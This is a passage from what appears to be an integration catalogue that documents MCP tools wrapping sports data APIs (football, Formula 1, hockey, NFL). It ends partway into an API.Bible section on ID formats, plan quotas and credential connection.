(read) — Get players statistics. This endpoint returns the players for whom the `profile` and `statistics` data are available. Note that it is possible that a player has statistics for 2 teams in the same season in case of transfers. The statistics are calculated according to the team `id`, league `id` and `season`. You can find the available `seasons` by using the endpoint `players/seasons`. > To get the squads of the teams it is better to use the endpoint `players/squads`. The players `id` are unique in the API and players keep it among all the teams they have been in. In this endpoint you have the `rating` field, which is the rating of the player according to a match or a season. This data is calculated according to the performance of the player in relation to the other players of the game or the season who occupy the same position *(Attacker, defender, goal...)*. There are different algorithms that take into account the position of the player and assign points according to his performance. To get the photo of a player you have to call the following url: `https://media.api-sports.io/football/players/{player_id}.png` This endpoint uses a **pagination system**, you can navigate between the different pages with to the `page` parameter. > **Pagination** : 20 results per page. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. **Tutorials** : - [HOW TO GET ALL TEAMS AND PLAYERS FROM A LEAGUE ID](https://www.api-football.com/tutorials/4/how-to-get-all-teams-and-players-from-a-league-id) via GET https://v3.football.api-sports.io/players GET /api/v1/apisports/football/players. Scopes: api. apisports_football_get_players_profiles (read) — Returns the list of all available players. It is possible to call this endpoint without parameters, but you will need to use the **pagination** to get all available players. To get the photo of a player you have to call the following url: `https://media.api-sports.io/football/players/{player_id}.png` This endpoint uses a **pagination system**, you can navigate between the different pages with to the `page` parameter. > **Pagination** : 250 results per page. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per week. via GET https://v3.football.api-sports.io/players/profiles GET /api/v1/apisports/football/players/profiles. Scopes: api. apisports_football_get_players_seasons (read) — Get all available seasons for players statistics. **Update Frequency** : This endpoint is updated every day. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/players/seasons GET /api/v1/apisports/football/players/seasons. Scopes: api. apisports_football_get_players_squads (read) — Return the current squad of a team when the `team` parameter is used. When the `player` parameter is used the endpoint returns the set of teams associated with the player. > The response format is the same regardless of the parameter sent. **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per week. via GET https://v3.football.api-sports.io/players/squads GET /api/v1/apisports/football/players/squads. Scopes: api. apisports_football_get_players_teams (read) — Returns the list of teams and seasons in which the player played during his career. **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per week. via GET https://v3.football.api-sports.io/players/teams GET /api/v1/apisports/football/players/teams. Scopes: api. apisports_football_get_players_topassists (read) — Get the 20 best players assists for a league or cup. **How it is calculated:** * 1 : The player that has delivered the higher number of goal assists * 2 : The player that has scored the higher number of goals * 3 : The player that has scored the fewer number of penalties * 4 : The player that assists in the higher number of matches * 5 : The player that played the fewer minutes * 6 : The player that received the fewer number of red cards * 7 : The player that received the fewer number of yellow cards **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/players/topassists GET /api/v1/apisports/football/players/topassists. Scopes: api. apisports_football_get_players_topredcards (read) — Get the 20 players with the most red cards for a league or cup. **How it is calculated:** * 1 : The player that received the higher number of red cards * 2 : The player that received the higher number of yellow cards * 3 : The player that assists in the higher number of matches * 4 : The player that played the fewer minutes **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/players/topredcards GET /api/v1/apisports/football/players/topredcards. Scopes: api. apisports_football_get_players_topscorers (read) — Get the 20 best players for a league or cup. **How it is calculated:** * 1 : The player that has scored the higher number of goals * 2 : The player that has scored the fewer number of penalties * 3 : The player that has delivered the higher number of goal assists * 4 : The player that scored their goals in the higher number of matches * 5 : The player that played the fewer minutes * 6 : The player that plays for the team placed higher on the table * 7 : The player that received the fewer number of red cards * 8 : The player that received the fewer number of yellow cards **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/players/topscorers GET /api/v1/apisports/football/players/topscorers. Scopes: api. apisports_football_get_players_topyellowcards (read) — Get the 20 players with the most yellow cards for a league or cup. **How it is calculated:** * 1 : The player that received the higher number of yellow cards * 2 : The player that received the higher number of red cards * 3 : The player that assists in the higher number of matches * 4 : The player that played the fewer minutes **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/players/topyellowcards GET /api/v1/apisports/football/players/topyellowcards. Scopes: api. apisports_football_get_predictions (read) — Get predictions about a fixture. The predictions are made using several algorithms including the poisson distribution, comparison of team statistics, last matches, players etc… Bookmakers odds are not used to make these predictions Also provides some comparative statistics between teams **Available Predictions** * Match winner : Id of the team that can potentially win the fixture * Win or Draw : If `True` indicates that the designated team can win or draw * Under / Over : -1.5 / -2.5 / -3.5 / -4.5 / +1.5 / +2.5 / +3.5 / +4.5 `*` * Goals Home : -1.5 / -2.5 / -3.5 / -4.5 `*` * Goals Away -1.5 / -2.5 / -3.5 / -4.5 `*` * Advice *(Ex : Deportivo Santani or draws and -3.5 goals)* `*` **-1.5** means that there will be a maximum of **1.5** goals in the fixture, i.e : **1** goal **Update Frequency** : This endpoint is updated every hour. **Recommended Calls** : 1 call per hour for the fixtures in progress otherwise 1 call per day. >Here is an example of what can be achieved ![demo-prediction](https://www.api-football.com/public/img/demo/demo-prediction.png) via GET https://v3.football.api-sports.io/predictions GET /api/v1/apisports/football/predictions. Scopes: api. apisports_football_get_sidelined (read) — Get all available sidelined for a player or a coach. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/sidelined GET /api/v1/apisports/football/sidelined. Scopes: api. apisports_football_get_standings (read) — Get the standings for a league or a team. Return a table of one or more rankings according to the league / cup. Some competitions have several rankings in a year, group phase, opening ranking, closing ranking etc… > Examples available in Request samples "Use Cases". > Most of the parameters of this endpoint can be used together. **Update Frequency** : This endpoint is updated every hour. **Recommended Calls** : 1 call per hour for the leagues or teams who have at least one fixture in progress otherwise 1 call per day. **Tutorials** : - [HOW TO GET STANDINGS FOR ALL CURRENT SEASONS](https://www.api-football.com/tutorials/6/how-to-get-standings-for-all-current-seasons) via GET https://v3.football.api-sports.io/standings GET /api/v1/apisports/football/standings. Scopes: api. apisports_football_get_teams (read) — Get the list of available teams. The team `id` are **unique** in the API and teams keep it among all the leagues/cups in which they participate. To get the logo of a team you have to call the following url: `https://media.api-sports.io/football/teams/{team_id}.png` > You can find all the teams ids on our [Dashboard](https://dashboard.api-football.com/soccer/ids/teams). > Examples available in Request samples "Use Cases". > All the parameters of this endpoint can be used together. **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. **Tutorials** : - [HOW TO GET ALL TEAMS AND PLAYERS FROM A LEAGUE ID](https://www.api-football.com/tutorials/4/how-to-get-all-teams-and-players-from-a-league-id) via GET https://v3.football.api-sports.io/teams GET /api/v1/apisports/football/teams. Scopes: api. apisports_football_get_teams_countries (read) — Get the list of countries available for the `teams` endpoint. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/teams/countries GET /api/v1/apisports/football/teams/countries. Scopes: api. apisports_football_get_teams_seasons (read) — Get the list of seasons available for a team. > Examples available in Request samples "Use Cases". **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/teams/seasons GET /api/v1/apisports/football/teams/seasons. Scopes: api. apisports_football_get_teams_statistics (read) — Returns the statistics of a team in relation to a given competition and season. It is possible to add the `date` parameter to calculate statistics from the beginning of the season to the given date. By default the API returns the statistics of all games played by the team for the competition and the season. **Update Frequency** : This endpoint is updated twice a day. **Recommended Calls** : 1 call per day for the teams who have at least one fixture during the day otherwise 1 call per week. > Here is an example of what can be achieved ![demo-teams-statistics](https://www.api-football.com/public/img/demo/demo-teams-statistics.png) via GET https://v3.football.api-sports.io/teams/statistics GET /api/v1/apisports/football/teams/statistics. Scopes: api. apisports_football_get_timezone (read) — Get the list of available timezone to be used in the fixtures endpoint. > This endpoint does not require any parameters. **Update Frequency** : This endpoint contains all the existing timezone, it is not updated. **Recommended Calls** : 1 call when you need. via GET https://v3.football.api-sports.io/timezone GET /api/v1/apisports/football/timezone. Scopes: api. apisports_football_get_transfers (read) — Get all available transfers for players and teams **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/transfers GET /api/v1/apisports/football/transfers. Scopes: api. apisports_football_get_trophies (read) — Get all available trophies for a player or a coach. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/trophies GET /api/v1/apisports/football/trophies. Scopes: api. apisports_football_get_venues (read) — Get the list of available venues. The venue `id` are **unique** in the API. To get the image of a venue you have to call the following url: `https://media.api-sports.io/football/venues/{venue_id}.png` > Examples available in Request samples "Use Cases". > All the parameters of this endpoint can be used together. **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/venues GET /api/v1/apisports/football/venues. Scopes: api. apisports_formula1_get_circuits (read) — Get the list of available circuits. The circuit `id` are **unique** in the API and circuits keep it across all `seasons` **Sample `image` of a circuit :** ![circuit](https://media.api-sports.io/formula-1/circuits/1.png) > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/circuits GET /api/v1/apisports/formula1/circuits. Scopes: api. apisports_formula1_get_competitions (read) — Get the list of available competitions. The competition `id` are **unique** in the API and competitions keep it across all `seasons` > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/competitions GET /api/v1/apisports/formula1/competitions. Scopes: api. apisports_formula1_get_drivers (read) — Get the list of available drivers. The driver `id` are **unique** in the API and drivers keep it across all `seasons` **Sample `image` of a driver :** ![circuit](https://media.api-sports.io/formula-1/drivers/20.png) > All the parameters of this endpoint can be used together. > This endpoint require at least one parameter. via GET https://v1.formula-1.api-sports.io/drivers GET /api/v1/apisports/formula1/drivers. Scopes: api. apisports_formula1_get_pitstops (read) — Get the list of pit stops made by all drivers during a race. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/pitstops GET /api/v1/apisports/formula1/pitstops. Scopes: api. apisports_formula1_get_races (read) — Get the list of available **races** for a competition. For all requests to races you can add the query parameter `timezone` to your request in order to retrieve the list of races in the time zone of your choice like *“Europe/London“* To know the list of available time zones you have to use the endpoint `timezone` **Available Status** * Live * Completed * Cancelled * Postponed * Scheduled **Available Types** * Race * 1st Qualifying * 2nd Qualifying * 3rd Qualifying * Sprint * 1st Sprint Shootout * 2nd Sprint Shootout * 3rd Sprint Shootout * 1st Practice * 2nd Practice * 3rd Practice > This endpoint requires at least one of these parameters `id`, `date`, `next`, `last` and `season`. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/races GET /api/v1/apisports/formula1/races. Scopes: api. apisports_formula1_get_rankings_drivers (read) — Get the drivers rankings for a season. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/rankings/drivers GET /api/v1/apisports/formula1/rankings/drivers. Scopes: api. apisports_formula1_get_rankings_fastestlaps (read) — Get the ranking of the fastest laps for a race. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/rankings/fastestlaps GET /api/v1/apisports/formula1/rankings/fastestlaps. Scopes: api. apisports_formula1_get_rankings_races (read) — Get the rankings for a race. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/rankings/races GET /api/v1/apisports/formula1/rankings/races. Scopes: api. apisports_formula1_get_rankings_startinggrid (read) — Get the starting grid for a race. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/rankings/startinggrid GET /api/v1/apisports/formula1/rankings/startinggrid. Scopes: api. apisports_formula1_get_rankings_teams (read) — Get the teams rankings for a season. > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/rankings/teams GET /api/v1/apisports/formula1/rankings/teams. Scopes: api. apisports_formula1_get_seasons (read) — Get all seasons available. All seasons are only **4-digit keys**. All results can be used in other endpoints as filters. > This endpoint does not require any parameters. via GET https://v1.formula-1.api-sports.io/seasons GET /api/v1/apisports/formula1/seasons. Scopes: api. apisports_formula1_get_teams (read) — Get the list of available competitions. The team `id` are **unique** in the API and teams keep it across all `seasons` **Sample `logo` of a team :** ![team](https://media.api-sports.io/formula-1/teams/5.png) > All the parameters of this endpoint can be used together. via GET https://v1.formula-1.api-sports.io/teams GET /api/v1/apisports/formula1/teams. Scopes: api. apisports_formula1_get_timezone (read) — Get the list of available timezone to be used in the races endpoint. > This endpoint does not require any parameters. via GET https://v1.formula-1.api-sports.io/timezone GET /api/v1/apisports/formula1/timezone. Scopes: api. apisports_hockey_get_countries (read) — Get the list of available countries. The `name`, `id` and `code` fields can be used in other endpoints as filters. > All the parameters of this endpoint can be used together. via GET https://v1.hockey.api-sports.io/countries GET /api/v1/apisports/hockey/countries. Scopes: api. apisports_hockey_get_games (read) — For all requests to games you can add the query parameter `timezone` to your request in order to retrieve the list of games in the time zone of your choice like *“Europe/London“* To know the list of available time zones you have to use the endpoint timezone. The `events` field indicates if events are available for this game. It is a Boolen type *“True|False“*. **Available status** * NS : Not Started * P1 : First Period (In Play) * P2 : Second Period (In Play) * P3 : Third Period (In Play) * OT : Over Time (In Play) * PT : Penalties Time (In Play) * BT : Break Time (In Play) * AW : Awarded * POST : Postponed * CANC : Cancelled * INTR : Interrupted * ABD : Abandoned * AOT : After Over Time (Game Finished) * AP : After Penalties (Game Finished) * FT : Finished (Game Finished) > Games are updated every 15 seconds > **This endpoint requires at least one parameter.** via GET https://v1.hockey.api-sports.io/games GET /api/v1/apisports/hockey/games. Scopes: api. apisports_hockey_get_games_events (read) — Get the available events for a game. via GET https://v1.hockey.api-sports.io/games/events GET /api/v1/apisports/hockey/games/events. Scopes: api. apisports_hockey_get_games_h2h (read) — Get heads to heads between two teams. via GET https://v1.hockey.api-sports.io/games/h2h GET /api/v1/apisports/hockey/games/h2h. Scopes: api. apisports_hockey_get_leagues (read) — Get the list of available leagues and cups. The league `id` are **unique** in the API and leagues keep it across all `seasons` > You can find all the leagues ids on our [Dashboard](https://dashboard.api-football.com/hockey/ids). > Most of the parameters of this endpoint can be used together. via GET https://v1.hockey.api-sports.io/leagues GET /api/v1/apisports/hockey/leagues. Scopes: api. apisports_hockey_get_odds (read) — Get odds from games or leagues. We provide pre-match odds between 1 and 7 days before the game. We keep a 7-day history *(The availability of odds may vary according to the leagues, seasons, games and bookmakers)* > Odds are updated once a day via GET https://v1.hockey.api-sports.io/odds GET /api/v1/apisports/hockey/odds. Scopes: api. apisports_hockey_get_odds_bets (read) — Get all available bets. All bets `id` can be used in endpoint odds as filters via GET https://v1.hockey.api-sports.io/odds/bets GET /api/v1/apisports/hockey/odds/bets. Scopes: api. apisports_hockey_get_odds_bookmakers (read) — Get all available bookmakers. All bookmakers `id` can be used in endpoint odds as filters. via GET https://v1.hockey.api-sports.io/odds/bookmakers GET /api/v1/apisports/hockey/odds/bookmakers. Scopes: api. apisports_hockey_get_seasons (read) — All seasons are only **4-digit keys**, so for a league whose season is `2018-2019` the season in the API will be `2018`. All `seasons` can be used in other endpoints as filters. > This endpoint does not require any parameters. via GET https://v1.hockey.api-sports.io/seasons GET /api/v1/apisports/hockey/seasons. Scopes: api. apisports_hockey_get_standings (read) — Get the standings for a league. Return a table of one or more rankings according to the league / cup. Some competitions have several rankings in a year, regular season, pre season etc… To know the list of available stages or grou^ you have to use the endpoint standings/stages or standings/groups > Standings are updated every hours via GET https://v1.hockey.api-sports.io/standings GET /api/v1/apisports/hockey/standings. Scopes: api. apisports_hockey_get_standings_groups (read) — Get the list of available groups for a league to be used in the standings endpoint. via GET https://v1.hockey.api-sports.io/standings/groups GET /api/v1/apisports/hockey/standings/groups. Scopes: api. apisports_hockey_get_standings_stages (read) — Get the list of available stages for a league to be used in the standings endpoint. via GET https://v1.hockey.api-sports.io/standings/stages GET /api/v1/apisports/hockey/standings/stages. Scopes: api. apisports_hockey_get_teams (read) — Get data about teams. The team `id` are **unique** in the API and teams keep it among all the leagues/cups in which they participate. > You can find all the teams ids on our [Dashboard](https://dashboard.api-football.com/hockey/ids/teams). > **This endpoint requires at least one parameter.** via GET https://v1.hockey.api-sports.io/teams GET /api/v1/apisports/hockey/teams. Scopes: api. apisports_hockey_get_teams_statistics (read) — teams/statistics via GET https://v1.hockey.api-sports.io/teams/statistics GET /api/v1/apisports/hockey/teams/statistics. Scopes: api. apisports_hockey_get_timezone (read) — Get the list of available timezone to be used in the games endpoint. > This endpoint does not require any parameters. via GET https://v1.hockey.api-sports.io/timezone GET /api/v1/apisports/hockey/timezone. Scopes: api. apisports_nfl_get_games (read) — Return the list of games according to the given parameters. For all requests to games you can add the query parameter `timezone` to your request in order to retrieve the list of games in the time zone of your choice like *“Europe/London“*. In case the timezone is not recognized, empty or is not part of the endpoint `timezone` list, the `UTC` value will be applied by default To know the list of available timezones you have to use the endpoint `timezone`. **Available Status** * NS : Not Started * Q1 : First Quarter (In Play) * Q2 : Second Quarter (In Play) * Q3 : Third Quarter (In Play) * Q4 : Fourth Quarter (In Play) * OT : Overtime (In Play) * HT : Halftime (In Play) * FT : Finished (Game Finished) * AOT : After Over Time (Game Finished) * CANC : Cancelled (Game cancelled and not rescheduled) * PST : Postponed (Game postponed and waiting for a new game date) **Parameters:** This endpoint requires at least one of these parameters `id`, `date`, `league`, `team`, `live`, `h2h`. > Games are updated every 30 seconds via GET https://v1.american-football.api-sports.io/games GET /api/v1/apisports/nfl/games. Scopes: api. apisports_nfl_get_games_events (read) — Return the list of events for one game `id`. **Parameters:** This endpoint requires at least one parameter. > This endpoint is updated every 30 seconds via GET https://v1.american-football.api-sports.io/games/events GET /api/v1/apisports/nfl/games/events. Scopes: api. apisports_nfl_get_games_statistics_players (read) — Return players statistics from a game `id`. The statistics of the players are different depending on the positions they occupy in the formation, so they are grouped into different `groups`. **Available Groups** * defensive * fumbles * interceptions * kick_returns * kicking * passing * punt_returns * punting * receiving * rushing **Parameters:** This endpoint requires at least one parameter. > This endpoint is updated every 30 seconds via GET https://v1.american-football.api-sports.io/games/statistics/players GET /api/v1/apisports/nfl/games/statistics/players. Scopes: api. apisports_nfl_get_games_statistics_teams (read) — Return team statistics from a game `id`. **Parameters:** This endpoint requires at least one parameter. > This endpoint is updated every 30 seconds via GET https://v1.american-football.api-sports.io/games/statistics/teams GET /api/v1/apisports/nfl/games/statistics/teams. Scopes: api. apisports_nfl_get_injuries (read) — Return the list of injured players. There is no preserved history, only the currently injured players appear in this endpoint. **Parameters:** This endpoint requires at least one parameter `id` or `team`. > This endpoint is updated every hour via GET https://v1.american-football.api-sports.io/injuries GET /api/v1/apisports/nfl/injuries. Scopes: api. apisports_nfl_get_leagues (read) — Return the list of all available competitions. The league `id` are **unique** in the API and competitions keep it across all `seasons` This endpoint contains a field named `coverage` that indicates for each season of a competition the data that are available. via GET https://v1.american-football.api-sports.io/leagues GET /api/v1/apisports/nfl/leagues. Scopes: api. apisports_nfl_get_odds (read) — Return the list of available odds for games. We provide pre-match odds between 1 and 7 days before the game. We keep a 7-day history *(The availability of odds may vary according to the games, seasons and bookmakers)* **Parameters:** This endpoint requires at least one of theses parameters : game. > Odds are updated four times a day via GET https://v1.american-football.api-sports.io/odds GET /api/v1/apisports/nfl/odds. Scopes: api. apisports_nfl_get_odds_bets (read) — Return the list of available bets for odds. All bets `id` can be used in endpoint `odds` as filters **Parameters:** You can call this endpoint without any parameters to get the complete list. via GET https://v1.american-football.api-sports.io/odds/bets GET /api/v1/apisports/nfl/odds/bets. Scopes: api. apisports_nfl_get_odds_bookmakers (read) — Return the list of available bookmakers for odds. All bookmakers `id` can be used in endpoint `odds` as filters. **Parameters:** You can call this endpoint without any parameters to get the complete list. via GET https://v1.american-football.api-sports.io/odds/bookmakers GET /api/v1/apisports/nfl/odds/bookmakers. Scopes: api. apisports_nfl_get_players (read) — Return a set of data about the players. The players `id` are **unique** in the API and keep it among all the competitions in which they participate. *Not all data is available for all players.* **Parameters:** This endpoint requires at least one parameter. > This endpoint is updated every day via GET https://v1.american-football.api-sports.io/players GET /api/v1/apisports/nfl/players. Scopes: api. apisports_nfl_get_players_statistics (read) — Return the statistics of a player for the whole season. The statistics of the players are different depending on the positions they occupy in the formation, so they are grouped into different `groups`. **Available Groups** * Defense * Kicking * Passing * Punting * Receiving * Returning * Rushing * Scoring > **Data for this endpoint start from 2022 season** **Parameters:** This endpoint requires at least two parameters `id` or `team` and `season`. > This endpoint is updated every day via GET https://v1.american-football.api-sports.io/players/statistics GET /api/v1/apisports/nfl/players/statistics. Scopes: api. apisports_nfl_get_seasons (read) — Return the list of all available seasons for all competitions. All seasons are only **4-digit keys**, so for a league whose season is `2018-2019` the season in the API will be `2018`. All `seasons` can be used in other endpoints as filters. **Parameters:** This endpoint does not require any parameters. via GET https://v1.american-football.api-sports.io/seasons GET /api/v1/apisports/nfl/seasons. Scopes: api. apisports_nfl_get_standings (read) — Return the standings of a competition in relation to a given season. To know the list of available `conferences` or `divisions` you have to use the endpoint `standings/conferences` or `standings/divisions`. **Parameters:** This endpoint requires at least two parameters `league` and `season`. > This endpoint is updated every hour via GET https://v1.american-football.api-sports.io/standings GET /api/v1/apisports/nfl/standings. Scopes: api. apisports_nfl_get_standings_conferences (read) — Return the list of available conferences for a competition to be used in the `standings` endpoint. **Parameters:** This endpoint requires at least two parameters `league` and `season`. via GET https://v1.american-football.api-sports.io/standings/conferences GET /api/v1/apisports/nfl/standings/conferences. Scopes: api. apisports_nfl_get_standings_divisions (read) — Return the list of available divisions for a competition to be used in the `standings` endpoint. **Parameters:** This endpoint requires at least two parameters `league` and `season`. via GET https://v1.american-football.api-sports.io/standings/divisions GET /api/v1/apisports/nfl/standings/divisions. Scopes: api. apisports_nfl_get_teams (read) — Return a set of data about the teams. The team `id` are **unique** in the API and teams keep it among all the competitions in which they participate. **Parameters:** This endpoint requires at least one parameter. > This endpoint is updated every day via GET https://v1.american-football.api-sports.io/teams GET /api/v1/apisports/nfl/teams. Scopes: api. apisports_nfl_get_timezone (read) — Returns the list of timezone set that can be used in the endpoint `games`. **Parameters:** This endpoint does not require any parameters. via GET https://v1.american-football.api-sports.io/timezone GET /api/v1/apisports/nfl/timezone. Scopes: api. ================================================================================ ## API.Bible URL: https://www.agenticfabriq.com/integrations/apibible Section: Integrated Tools API.Bible — 19 MCP tools Provider key: apibible. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apibible_get_audio_bibles (read) — List available audio Bibles via GET rest.api.bible/v1/audio-bibles. List the audio Bible recordings this API key is authorised for. `bibleId` filters to the recordings attached to one TEXT Bible, which is how an audio edition is matched to the translation it reads. `language`, `abbreviation`, `name` and `ids` narrow as they do for text Bibles, and `include-full-details=true` returns copyright and promotional text. Audio Bibles are licensed separately from text Bibles, so this list is not the text list. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles. Scopes: api. apibible_get_audio_bibles_by_bible_id (read) — Get an audio Bible via GET rest.api.bible/v1/audio-bibles/{bibleId}. Get one audio Bible recording by its `bibleId` -- its name, language, description and, where the key is authorised, its copyright text. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles/{bibleId}. Scopes: api. apibible_get_audio_bibles_by_bible_id_books (read) — List books in an audio Bible via GET rest.api.bible/v1/audio-bibles/{bibleId}/books. List the books of one audio Bible. `include-chapters=true` adds each book's chapters and `include-chapters-and-sections=true` adds sections too. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles/{bibleId}/books. Scopes: api. apibible_get_audio_bibles_by_bible_id_books_by_book_id (read) — Get an audio book via GET rest.api.bible/v1/audio-bibles/{bibleId}/books/{bookId}. Get one book of one audio Bible by its three-letter `bookId`, optionally with its chapter list (`include-chapters=true`). ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles/{bibleId}/books/{bookId}. Scopes: api. apibible_get_audio_bibles_by_bible_id_books_by_book_id_chapters (read) — List chapters in an audio book via GET rest.api.bible/v1/audio-bibles/{bibleId}/books/{bookId}/chapters. List the chapters of one book of an audio Bible. Returns chapter summaries, not audio. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles/{bibleId}/books/{bookId}/chapters. Scopes: api. apibible_get_audio_bibles_by_bible_id_chapters_by_chapter_id (read) — Get an audio chapter via GET rest.api.bible/v1/audio-bibles/{bibleId}/chapters/{chapterId}. Get one chapter of an audio Bible: its timing data and the URL of the audio file, which is a link API.Bible serves rather than audio bytes returned through this tool. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse 